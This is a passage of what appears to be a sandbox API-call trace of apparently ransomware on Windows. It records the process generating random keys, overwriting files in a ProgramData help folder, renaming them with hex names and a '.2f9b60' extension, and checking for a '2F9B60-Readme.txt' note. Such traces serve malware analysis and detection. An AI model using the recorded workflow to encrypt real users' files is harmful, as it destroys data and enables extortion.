RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9eef0 [0086.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a930 [0086.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a7e0 [0086.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a7e0) returned 1 [0086.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79db70) returned 1 [0086.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0086.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1b858730 [0086.730] sprintf (in: _Dest=0x1b858730, _Format="%c%c" | out: _Dest="48") returned 2 [0086.730] sprintf (in: _Dest=0x1b858732, _Format="%c%c" | out: _Dest="f6") returned 2 [0086.730] sprintf (in: _Dest=0x1b858734, _Format="%c%c" | out: _Dest="ad") returned 2 [0086.730] sprintf (in: _Dest=0x1b858736, _Format="%c%c" | out: _Dest="28") returned 2 [0086.730] sprintf (in: _Dest=0x1b858738, _Format="%c%c" | out: _Dest="35") returned 2 [0086.730] sprintf (in: _Dest=0x1b85873a, _Format="%c%c" | out: _Dest="8e") returned 2 [0086.730] sprintf (in: _Dest=0x1b85873c, _Format="%c%c" | out: _Dest="e5") returned 2 [0086.730] sprintf (in: _Dest=0x1b85873e, _Format="%c%c" | out: _Dest="29") returned 2 [0086.730] sprintf (in: _Dest=0x1b858740, _Format="%c%c" | out: _Dest="47") returned 2 [0086.730] sprintf (in: _Dest=0x1b858742, _Format="%c%c" | out: _Dest="59") returned 2 [0086.730] sprintf (in: _Dest=0x1b858744, _Format="%c%c" | out: _Dest="ce") returned 2 [0086.730] sprintf (in: _Dest=0x1b858746, _Format="%c%c" | out: _Dest="88") returned 2 [0086.730] sprintf (in: _Dest=0x1b858748, _Format="%c%c" | out: _Dest="ed") returned 2 [0086.730] sprintf (in: _Dest=0x1b85874a, _Format="%c%c" | out: _Dest="8f") returned 2 [0086.730] sprintf (in: _Dest=0x1b85874c, _Format="%c%c" | out: _Dest="19") returned 2 [0086.731] sprintf (in: _Dest=0x1b85874e, _Format="%c%c" | out: _Dest="2c") returned 2 [0086.731] sprintf (in: _Dest=0x1b858750, _Format="%c%c" | out: _Dest="95") returned 2 [0086.731] sprintf (in: _Dest=0x1b858752, _Format="%c%c" | out: _Dest="ec") returned 2 [0086.731] sprintf (in: _Dest=0x1b858754, _Format="%c%c" | out: _Dest="5b") returned 2 [0086.731] sprintf (in: _Dest=0x1b858756, _Format="%c%c" | out: _Dest="79") returned 2 [0086.731] sprintf (in: _Dest=0x1b858758, _Format="%c%c" | out: _Dest="a0") returned 2 [0086.731] sprintf (in: _Dest=0x1b85875a, _Format="%c%c" | out: _Dest="7d") returned 2 [0086.731] sprintf (in: _Dest=0x1b85875c, _Format="%c%c" | out: _Dest="77") returned 2 [0086.731] sprintf (in: _Dest=0x1b85875e, _Format="%c%c" | out: _Dest="b4") returned 2 [0086.731] sprintf (in: _Dest=0x1b858760, _Format="%c%c" | out: _Dest="81") returned 2 [0086.731] sprintf (in: _Dest=0x1b858762, _Format="%c%c" | out: _Dest="75") returned 2 [0086.731] sprintf (in: _Dest=0x1b858764, _Format="%c%c" | out: _Dest="e7") returned 2 [0086.731] sprintf (in: _Dest=0x1b858766, _Format="%c%c" | out: _Dest="47") returned 2 [0086.731] sprintf (in: _Dest=0x1b858768, _Format="%c%c" | out: _Dest="8f") returned 2 [0086.731] sprintf (in: _Dest=0x1b85876a, _Format="%c%c" | out: _Dest="41") returned 2 [0086.731] sprintf (in: _Dest=0x1b85876c, _Format="%c%c" | out: _Dest="a6") returned 2 [0086.731] sprintf (in: _Dest=0x1b85876e, _Format="%c%c" | out: _Dest="48") returned 2 [0086.731] sprintf (in: _Dest=0x1b858770, _Format="%c%c" | out: _Dest="3e") returned 2 [0086.731] sprintf (in: _Dest=0x1b858772, _Format="%c%c" | out: _Dest="0a") returned 2 [0086.731] sprintf (in: _Dest=0x1b858774, _Format="%c%c" | out: _Dest="14") returned 2 [0086.731] sprintf (in: _Dest=0x1b858776, _Format="%c%c" | out: _Dest="21") returned 2 [0086.731] sprintf (in: _Dest=0x1b858778, _Format="%c%c" | out: _Dest="76") returned 2 [0086.731] sprintf (in: _Dest=0x1b85877a, _Format="%c%c" | out: _Dest="34") returned 2 [0086.731] sprintf (in: _Dest=0x1b85877c, _Format="%c%c" | out: _Dest="fc") returned 2 [0086.731] sprintf (in: _Dest=0x1b85877e, _Format="%c%c" | out: _Dest="f0") returned 2 [0086.731] sprintf (in: _Dest=0x1b858780, _Format="%c%c" | out: _Dest="07") returned 2 [0086.732] sprintf (in: _Dest=0x1b858782, _Format="%c%c" | out: _Dest="e4") returned 2 [0086.732] RtlInitAnsiString (in: DestinationString=0x2025fe28, SourceString="48f6ad28358ee5294759ce88ed8f192c95ec5b79a07d77b48175e7478f41a6483e0a14217634fcf007e4" | out: DestinationString="48f6ad28358ee5294759ce88ed8f192c95ec5b79a07d77b48175e7478f41a6483e0a14217634fcf007e4") [0086.732] RtlAnsiStringToUnicodeString (in: DestinationString=0x2025fdf8, SourceString="48f6ad28358ee5294759ce88ed8f192c95ec5b79a07d77b48175e7478f41a6483e0a14217634fcf007e4", AllocateDestinationString=1 | out: DestinationString="48f6ad28358ee5294759ce88ed8f192c95ec5b79a07d77b48175e7478f41a6483e0a14217634fcf007e4") returned 0x0 [0086.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x106640 [0086.732] wcscat (in: _Dest=0x1b79db70, _Source="48f6ad28358ee5294759c" | out: _Dest="C:\\ProgramData\\Microsoft Help\\48f6ad28358ee5294759c") returned="C:\\ProgramData\\Microsoft Help\\48f6ad28358ee5294759c" [0086.732] wcscat (in: _Dest=0x1b79db70, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\48f6ad28358ee5294759c.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\48f6ad28358ee5294759c.2f9b60" [0086.732] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\48f6ad28358ee5294759c.2f9b60", NtPathName=0x2025fdd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\48f6ad28358ee5294759c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0086.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7ad7a0 [0086.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad7a0) returned 1 [0086.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0086.734] NtQueryInformationFile (in: FileHandle=0x96c, IoStatusBlock=0x2025fe38, FileInformation=0x2025fe48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2025fe38, FileInformation=0x2025fe48) returned 0x0 [0086.734] NtSetInformationFile (FileHandle=0x96c, IoStatusBlock=0x2025fe38, FileInformation=0x2025fe48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0086.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79db70) returned 1 [0086.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106640) returned 1 [0086.735] FlushFileBuffers (hFile=0x96c) returned 1 [0086.737] CloseHandle (hObject=0x96c) returned 1 [0086.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1e90 [0086.738] wcscpy (in: _Dest=0x1b7c1e90, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0086.738] wcscat (in: _Dest=0x1b7c1e90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0086.738] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0086.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1e90) returned 1 [0086.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1f00) returned 1 Thread: id = 204 os_tid = 0xc60 [0086.746] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.infopath.14.1033.hxn")) returned 0x2022 [0086.747] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0086.747] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.infopath.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x96c [0086.747] GetFileSizeEx (in: hFile=0x96c, lpFileSize=0x2043f8e0 | out: lpFileSize=0x2043f8e0*=344) returned 1 [0086.747] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.747] ReadFile (in: hFile=0x96c, lpBuffer=0x2043f860, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2043f8a8, lpOverlapped=0x0 | out: lpBuffer=0x2043f860*, lpNumberOfBytesRead=0x2043f8a8*=0x4, lpOverlapped=0x0) returned 1 [0086.748] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1d0 [0086.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b170 [0086.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a870 [0086.749] NtQuerySystemTime (in: CurrentTime=0x2043f7a0 | out: CurrentTime=0x2043f7a0*=132462176926246000) returned 0x0 [0086.749] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x5eb52176 [0086.749] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x1f608ca8 [0086.749] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x3374e7c7 [0086.749] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x4b2c411b [0086.749] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0xe736fc3 [0086.749] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x2a7cb72e [0086.749] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x43651c23 [0086.749] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x788de39d [0086.749] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x722ef78c [0086.749] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x358a9568 [0086.749] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x734e6fba [0086.749] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x56c2ebb1 [0086.749] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0xf7768ef [0086.749] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x2916794c [0086.749] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x737197a1 [0086.749] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x5aaf0936 [0086.749] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x44a93e82 [0086.749] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0xc3957b8 [0086.749] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x6f7a1dec [0086.749] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x5632ea15 [0086.749] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x42e40544 [0086.750] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x1e9b07f1 [0086.750] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x1c75d1b8 [0086.750] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x369764fd [0086.750] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x368e1ced [0086.750] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x61c7b3be [0086.750] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x7720b2e8 [0086.750] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x77d47b92 [0086.750] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x19675eb0 [0086.750] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x45d7da9f [0086.750] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x72786297 [0086.750] RtlRandomEx (in: Seed=0x2043f790 | out: Seed=0x2043f790) returned 0x596997d6 [0086.760] ReadFile (in: hFile=0x96c, lpBuffer=0x1cda08c0, nNumberOfBytesToRead=0x158, lpNumberOfBytesRead=0x2043f790, lpOverlapped=0x0 | out: lpBuffer=0x1cda08c0*, lpNumberOfBytesRead=0x2043f790*=0x158, lpOverlapped=0x0) returned 1 [0086.760] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.760] WriteFile (in: hFile=0x96c, lpBuffer=0x1cda44d0*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x2043f794, lpOverlapped=0x0 | out: lpBuffer=0x1cda44d0*, lpNumberOfBytesWritten=0x2043f794*=0x158, lpOverlapped=0x0) returned 1 [0086.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1d0 [0086.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a870 [0086.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a870) returned 1 [0086.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda44d0) returned 1 [0086.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda08c0) returned 1 [0086.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79db70) returned 1 [0086.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0086.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1cd97210 [0086.763] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0086.763] WriteFile (in: hFile=0x96c, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2043f8b0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2043f8b0*=0x120, lpOverlapped=0x0) returned 1 [0086.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd972b0 [0086.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79db70 [0086.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b050 [0086.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b050) returned 1 [0086.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9eeb0 [0086.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b050 [0086.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a930 [0086.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a930) returned 1 [0086.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79db70) returned 1 [0086.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd972b0) returned 1 [0086.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x1b7c1f00 [0086.770] sprintf (in: _Dest=0x1b7c1f00, _Format="%c%c" | out: _Dest="96") returned 2 [0086.770] sprintf (in: _Dest=0x1b7c1f02, _Format="%c%c" | out: _Dest="93") returned 2 [0086.770] sprintf (in: _Dest=0x1b7c1f04, _Format="%c%c" | out: _Dest="ed") returned 2 [0086.770] sprintf (in: _Dest=0x1b7c1f06, _Format="%c%c" | out: _Dest="74") returned 2 [0086.770] sprintf (in: _Dest=0x1b7c1f08, _Format="%c%c" | out: _Dest="40") returned 2 [0086.770] sprintf (in: _Dest=0x1b7c1f0a, _Format="%c%c" | out: _Dest="ed") returned 2 [0086.770] sprintf (in: _Dest=0x1b7c1f0c, _Format="%c%c" | out: _Dest="e2") returned 2 [0086.770] sprintf (in: _Dest=0x1b7c1f0e, _Format="%c%c" | out: _Dest="96") returned 2 [0086.770] sprintf (in: _Dest=0x1b7c1f10, _Format="%c%c" | out: _Dest="b3") returned 2 [0086.770] sprintf (in: _Dest=0x1b7c1f12, _Format="%c%c" | out: _Dest="8f") returned 2 [0086.770] sprintf (in: _Dest=0x1b7c1f14, _Format="%c%c" | out: _Dest="d0") returned 2 [0086.770] sprintf (in: _Dest=0x1b7c1f16, _Format="%c%c" | out: _Dest="b9") returned 2 [0086.771] sprintf (in: _Dest=0x1b7c1f18, _Format="%c%c" | out: _Dest="10") returned 2 [0086.771] sprintf (in: _Dest=0x1b7c1f1a, _Format="%c%c" | out: _Dest="dd") returned 2 [0086.771] sprintf (in: _Dest=0x1b7c1f1c, _Format="%c%c" | out: _Dest="24") returned 2 [0086.771] sprintf (in: _Dest=0x1b7c1f1e, _Format="%c%c" | out: _Dest="e6") returned 2 [0086.771] sprintf (in: _Dest=0x1b7c1f20, _Format="%c%c" | out: _Dest="db") returned 2 [0086.771] sprintf (in: _Dest=0x1b7c1f22, _Format="%c%c" | out: _Dest="f9") returned 2 [0086.771] sprintf (in: _Dest=0x1b7c1f24, _Format="%c%c" | out: _Dest="32") returned 2 [0086.771] sprintf (in: _Dest=0x1b7c1f26, _Format="%c%c" | out: _Dest="ca") returned 2 [0086.771] sprintf (in: _Dest=0x1b7c1f28, _Format="%c%c" | out: _Dest="1a") returned 2 [0086.771] sprintf (in: _Dest=0x1b7c1f2a, _Format="%c%c" | out: _Dest="8a") returned 2 [0086.771] sprintf (in: _Dest=0x1b7c1f2c, _Format="%c%c" | out: _Dest="b0") returned 2 [0086.771] sprintf (in: _Dest=0x1b7c1f2e, _Format="%c%c" | out: _Dest="13") returned 2 [0086.771] sprintf (in: _Dest=0x1b7c1f30, _Format="%c%c" | out: _Dest="44") returned 2 [0086.771] sprintf (in: _Dest=0x1b7c1f32, _Format="%c%c" | out: _Dest="27") returned 2 [0086.771] sprintf (in: _Dest=0x1b7c1f34, _Format="%c%c" | out: _Dest="01") returned 2 [0086.771] sprintf (in: _Dest=0x1b7c1f36, _Format="%c%c" | out: _Dest="88") returned 2 [0086.771] sprintf (in: _Dest=0x1b7c1f38, _Format="%c%c" | out: _Dest="f5") returned 2 [0086.771] sprintf (in: _Dest=0x1b7c1f3a, _Format="%c%c" | out: _Dest="e9") returned 2 [0086.771] sprintf (in: _Dest=0x1b7c1f3c, _Format="%c%c" | out: _Dest="55") returned 2 [0086.771] sprintf (in: _Dest=0x1b7c1f3e, _Format="%c%c" | out: _Dest="fc") returned 2 [0086.772] sprintf (in: _Dest=0x1b7c1f40, _Format="%c%c" | out: _Dest="6e") returned 2 [0086.772] sprintf (in: _Dest=0x1b7c1f42, _Format="%c%c" | out: _Dest="f7") returned 2 [0086.772] sprintf (in: _Dest=0x1b7c1f44, _Format="%c%c" | out: _Dest="c3") returned 2 [0086.772] sprintf (in: _Dest=0x1b7c1f46, _Format="%c%c" | out: _Dest="d6") returned 2 [0086.772] sprintf (in: _Dest=0x1b7c1f48, _Format="%c%c" | out: _Dest="9c") returned 2 [0086.772] sprintf (in: _Dest=0x1b7c1f4a, _Format="%c%c" | out: _Dest="7a") returned 2 [0086.772] sprintf (in: _Dest=0x1b7c1f4c, _Format="%c%c" | out: _Dest="05") returned 2 [0086.772] sprintf (in: _Dest=0x1b7c1f4e, _Format="%c%c" | out: _Dest="a8") returned 2 [0086.772] sprintf (in: _Dest=0x1b7c1f50, _Format="%c%c" | out: _Dest="6a") returned 2 [0086.772] sprintf (in: _Dest=0x1b7c1f52, _Format="%c%c" | out: _Dest="7e") returned 2 [0086.772] sprintf (in: _Dest=0x1b7c1f54, _Format="%c%c" | out: _Dest="30") returned 2 [0086.772] sprintf (in: _Dest=0x1b7c1f56, _Format="%c%c" | out: _Dest="17") returned 2 [0086.772] sprintf (in: _Dest=0x1b7c1f58, _Format="%c%c" | out: _Dest="a6") returned 2 [0086.772] sprintf (in: _Dest=0x1b7c1f5a, _Format="%c%c" | out: _Dest="c4") returned 2 [0086.772] RtlInitAnsiString (in: DestinationString=0x2043f928, SourceString="9693ed7440ede296b38fd0b910dd24e6dbf932ca1a8ab01344270188f5e955fc6ef7c3d69c7a05a86a7e3017a6c4" | out: DestinationString="9693ed7440ede296b38fd0b910dd24e6dbf932ca1a8ab01344270188f5e955fc6ef7c3d69c7a05a86a7e3017a6c4") [0086.772] RtlAnsiStringToUnicodeString (in: DestinationString=0x2043f8f8, SourceString="9693ed7440ede296b38fd0b910dd24e6dbf932ca1a8ab01344270188f5e955fc6ef7c3d69c7a05a86a7e3017a6c4", AllocateDestinationString=1 | out: DestinationString="9693ed7440ede296b38fd0b910dd24e6dbf932ca1a8ab01344270188f5e955fc6ef7c3d69c7a05a86a7e3017a6c4") returned 0x0 [0086.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x118470 [0086.773] wcscat (in: _Dest=0x1b85c840, _Source="9693ed7440ede296b38fd0b" | out: _Dest="C:\\ProgramData\\Microsoft Help\\9693ed7440ede296b38fd0b") returned="C:\\ProgramData\\Microsoft Help\\9693ed7440ede296b38fd0b" [0086.773] wcscat (in: _Dest=0x1b85c840, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\9693ed7440ede296b38fd0b.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\9693ed7440ede296b38fd0b.2f9b60" [0086.773] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\9693ed7440ede296b38fd0b.2f9b60", NtPathName=0x2043f8d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\9693ed7440ede296b38fd0b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0086.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x1b7ad7a0 [0086.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad7a0) returned 1 [0086.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0086.774] NtQueryInformationFile (in: FileHandle=0x96c, IoStatusBlock=0x2043f938, FileInformation=0x2043f948, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2043f938, FileInformation=0x2043f948) returned 0x0 [0086.774] NtSetInformationFile (FileHandle=0x96c, IoStatusBlock=0x2043f938, FileInformation=0x2043f948, Length=0x28, FileInformationClass=0x4) returned 0x0 [0086.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c840) returned 1 [0086.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118470) returned 1 [0086.776] FlushFileBuffers (hFile=0x96c) returned 1 [0086.777] CloseHandle (hObject=0x96c) returned 1 [0086.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1f00 [0086.778] wcscpy (in: _Dest=0x1b7c1f00, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0086.778] wcscat (in: _Dest=0x1b7c1f00, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0086.778] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0086.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1f00) returned 1 [0086.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 Thread: id = 205 os_tid = 0xc64 [0086.784] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.infopatheditor.14.1033.hxn")) returned 0x2022 [0086.784] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0086.784] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.infopatheditor.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x96c [0086.784] GetFileSizeEx (in: hFile=0x96c, lpFileSize=0x202dfd80 | out: lpFileSize=0x202dfd80*=380) returned 1 [0086.784] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x178, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.784] ReadFile (in: hFile=0x96c, lpBuffer=0x202dfd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x202dfd48, lpOverlapped=0x0 | out: lpBuffer=0x202dfd00*, lpNumberOfBytesRead=0x202dfd48*=0x4, lpOverlapped=0x0) returned 1 [0086.785] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b200 [0086.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1a0 [0086.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b140 [0086.786] NtQuerySystemTime (in: CurrentTime=0x202dfc40 | out: CurrentTime=0x202dfc40*=132462176926714000) returned 0x0 [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x346a48a2 [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x6173238a [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x6cbd6307 [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x21a323f1 [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x3d590b7a [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x73dba7e6 [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x7804655b [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x62035661 [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x7ce2b3b6 [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x4a1976ec [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x5b4d5651 [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x3a832538 [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x591970cd [0086.786] 